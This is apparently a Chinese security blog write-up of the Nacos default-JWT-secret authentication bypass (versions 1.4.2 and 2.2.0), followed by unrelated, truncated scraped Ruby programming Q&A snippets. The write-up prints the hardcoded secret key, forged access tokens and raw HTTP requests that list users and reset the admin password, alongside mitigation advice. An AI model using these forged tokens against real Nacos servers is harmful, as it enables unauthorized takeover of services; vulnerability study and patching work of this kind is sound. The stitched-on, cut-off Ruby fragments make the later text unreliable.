Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
Nacos提供简单的鉴权实现,为防止业务错用的弱鉴权体系,不是防止恶意攻击的强鉴权体系。
Nacos服务管理平台因默认密钥导致的认证绕过漏洞。在默认配置为未修改的情况下,攻击者可以构造用户 token 进入后台,导致系统被攻击与控制。许多Nacos 用户只开启了鉴权,但没有修改默认密钥,导致Nacos系统仍存在被入侵的风险。
V 1.4.2
V 2.2.0
大致讲一下相关的内容:
Nacos 支持基于 JWT 的鉴权,JWT 是一种标准的 JSON 格式的令牌,用于在不同系统之间传递信息。Nacos 的基于 JWT 的鉴权原理和过程如下:
用户登录:用户通过客户端或者浏览器向 Nacos Server 发送登录请求,Nacos Server 会验证用户提供的用户名和密码是否正确。
生成 JWT:如果用户名和密码正确,Nacos Server 会生成一个 JWT,并将 JWT 返回给客户端。JWT 包含了用户的身份信息和权限信息,并使用密钥对 JWT 进行签名,以确保 JWT 的完整性和真实性。
客户端请求资源:客户端在向 Nacos Server 发送请求时,需要在请求头中携带 JWT。Nacos Server 会从 JWT 中获取用户的身份信息和权限信息,并判断用户是否有权限访问请求的资源。
验证 JWT:Nacos Server 会使用密钥对 JWT 进行验证,以确保 JWT 的完整性和真实性。如果 JWT 无效或已过期,则请求会被拒绝。
权限控制:Nacos Server 会根据 JWT 中的用户信息,判断用户是否有权限访问请求的资源。如果用户没有权限,则请求会被拒绝。
JWT 是一种用于身份验证和授权的标准,全称为 JSON Web Token。它是一种开放的标准(RFC 7519),可以用于在不同的应用程序和服务之间传输安全的信息。
JWT 由三部分组成:头部(Header)、载荷(Payload)和签名(Signature)。头部和载荷都是 JSON 格式的数据,签名是对头部、载荷和密钥进行计算后得到的字符串,用于验证 JWT 的真实性和完整性。
JWT 的工作流程如下:
用户登录成功后,服务端生成 JWT 并将其返回给客户端。
客户端在每个后续请求中将 JWT 作为 Authorization 头部的 Bearer 令牌发送到服务端。
服务端验证 JWT 的签名,并解码 JWT 中的载荷,以确定用户的身份和权限。
如果 JWT 签名有效,且用户有足够的权限访问请求的资源,则服务端返回请求的资源。
组成如下图所示:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
JWT 令牌是无状态的,服务端不需要在服务器端存储用户的身份信息,因此在服务端无法检查该 JWT 令牌是否对应一个真实存在的用户。如果攻击者使用一个不存在的用户来构造有效的 JWT 令牌,并将该令牌发送到服务端进行验证,服务端将无法检测到该用户是否真实存在,因此将会认为该令牌是有效的,并允许攻击者进行操作。
HS256 是一种基于 HMAC-SHA256 哈希算法的对称加密算法,常用于 JWT(JSON Web Token)的签名过程。
在使用 HS256 算法进行签名时,需要一个密钥(通常是一个字符串),该密钥与要签名的数据进行 HMAC-SHA256 哈希运算,生成一个固定长度的签名。在验证签名时,接收方使用相同的密钥对接收到的数据进行哈希运算,然后比较生成的签名与接收到的签名是否一致,以确定数据的完整性和可信性。
由于 HS256 算法是对称加密算法,因此密钥需要在发送方和接收方之间共享。如果密钥被泄露,攻击者可以使用它来伪造签名并篡改数据。
在Nacos<=2.2.0版本中,存在默认秘钥:
SecretKey012345678901234567890123456789012345678901234567890123456789
如下图所示,在新版本中已经将其置空,并且规定秘钥长度必须大于等于32字节,且使用base64加密。
搭建环境后默认用户密码为nacos\nacos
accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA2MTA0Nn0.sYPL3P75QHSKugOeFlztsH2V3U16OYam2C9Ua74jr6E
密码错误时的状态:
添加了一个用户,test\qqqaaazzz
1、延长时间戳,POST 密码错误,用户名正确 ✅
2、延长时间戳,POST 密码错误,用户名错误 ✅
3、删除时间戳,POST 密码错误,用户名错误 ✅
说明和POST内容无关了,任意,但是不能缺少必要字段;
搭建版本1.4.2和2.2.0,去掉exp并不会强制校验,仍可登录成功:
4、JWT鉴权,修改用户名,非用户也能认证成功 ✅
对存在默认秘钥的系统来说,可以伪造任意用户进行认证。只是除管理员权限外其他用户看不到部分内容;
V 1.4.2
GET /v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyJ9.FAwWCYhXbMVra7WjEBMVrhYGoRU1OtNiPvHKJodj31o HTTP/1.1
Host: xxxxxxx:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: xxxxxxx:8001
Connection: close
Referer: xxxxxxx:8001
username=nacos&password=nacos
V 2.2.0 需要增加search参数
POST方式,如果用户不存在,则直接创建用户:
V 1.4.2
PUT /v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg4NzgwNX0.cO3ELLBegJA-LsQ5rqttkbdliZp7p0Me-fw-Snqa8Gc HTTP/1.1
Host: xxxxxxx:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: xxxxxxx:8001
Connection: close
Referer: xxxxxxx:8001
username=nacos&newPassword=nacosa
V 2.2.0
更新版本:
https://nacos.io/zh-cn/blog/announcement-token-secret-key.html
缓解措施:
1、修改application.properties文件中token.secret.key属性为自定义key,可参考:https://nacos.io/zh-cn/docs/v2/guide/user/auth.html
2、将Nacos部署于内部网络环境,通过内网或VPN访问;
Y1X1n安全
时间倾斜,愿你无邪。
我正在学习如何使用Nokogiri,根据这段代码我遇到了一些问题:require'rubygems'require'mechanize'post_agent=WWW::Mechanize.newpost_page=post_agent.get('http://www.vbulletin.org/forum/showthread.php?t=230708')puts"\nabsolutepathwithtbodygivesnil"putspost_page.parser.xpath('/html/body/div/div/div/div/div/table/tbody/tr/td/div
我有一个Ruby程序,它使用rubyzip压缩XML文件的目录树。gem。我的问题是文件开始变得很重,我想提高压缩级别,因为压缩时间不是问题。我在rubyzipdocumentation中找不到一种为创建的ZIP文件指定压缩级别的方法。有人知道如何更改此设置吗?是否有另一个允许指定压缩级别的Ruby库? 最佳答案 这是我通过查看rubyzip内部创建的代码。level=Zlib::BEST_COMPRESSIONZip::ZipOutputStream.open(zip_file)do|zip|Dir.glob("**/*")d
类classAprivatedeffooputs:fooendpublicdefbarputs:barendprivatedefzimputs:zimendprotecteddefdibputs:dibendendA的实例a=A.new测试a.foorescueputs:faila.barrescueputs:faila.zimrescueputs:faila.dibrescueputs:faila.gazrescueputs:fail测试输出failbarfailfailfail.发送测试[:foo,:bar,:zim,:dib,:gaz].each{|m|a.send(m)resc
很好奇,就使用rubyonrails自动化单元测试而言,你们正在做什么?您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您?git中的预提交Hook?只是手动调用?我完全理解测试,但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的,并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您? 最佳答案 不确定您到底想听什么,但是有几个级别的自动代码库控制:在处理某项功能时,您可以使用类似autotest的内容获得关于哪些有效,哪些无效的即时反馈。要确保您的提
假设我做了一个模块如下:m=Module.newdoclassCendend三个问题:除了对m的引用之外,还有什么方法可以访问C和m中的其他内容?我可以在创建匿名模块后为其命名吗(就像我输入“module...”一样)?如何在使用完匿名模块后将其删除,使其定义的常量不再存在? 最佳答案 三个答案:是的,使用ObjectSpace.此代码使c引用你的类(class)C不引用m:c=nilObjectSpace.each_object{|obj|c=objif(Class===objandobj.name=~/::C$/)}当然这取决于
我正在尝试使用ruby和Savon来使用网络服务。测试服务为http://www.webservicex.net/WS/WSDetails.aspx?WSID=9&CATID=2require'rubygems'require'savon'client=Savon::Client.new"http://www.webservicex.net/stockquote.asmx?WSDL"client.get_quotedo|soap|soap.body={:symbol=>"AAPL"}end返回SOAP异常。检查soap信封,在我看来soap请求没有正确的命名空间。任何人都可以建议我
关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点?我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等),但我确实想创建一个输出文件。
我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t
我想将html转换为纯文本。不过,我不想只删除标签,我想智能地保留尽可能多的格式。为插入换行符标签,检测段落并格式化它们等。输入非常简单,通常是格式良好的html(不是整个文档,只是一堆内容,通常没有anchor或图像)。我可以将几个正则表达式放在一起,让我达到80%,但我认为可能有一些现有的解决方案更智能。 最佳答案 首先,不要尝试为此使用正则表达式。很有可能你会想出一个脆弱/脆弱的解决方案,它会随着HTML的变化而崩溃,或者很难管理和维护。您可以使用Nokogiri快速解析HTML并提取文本:require'nokogiri'h
我想为Heroku构建一个Rails3应用程序。他们使用Postgres作为他们的数据库,所以我通过MacPorts安装了postgres9.0。现在我需要一个postgresgem并且共识是出于性能原因你想要pggem。但是我对我得到的错误感到非常困惑当我尝试在rvm下通过geminstall安装pg时。我已经非常明确地指定了所有postgres目录的位置可以找到但仍然无法完成安装:$envARCHFLAGS='-archx86_64'geminstallpg--\--with-pg-config=/opt/local/var/db/postgresql90/defaultdb/po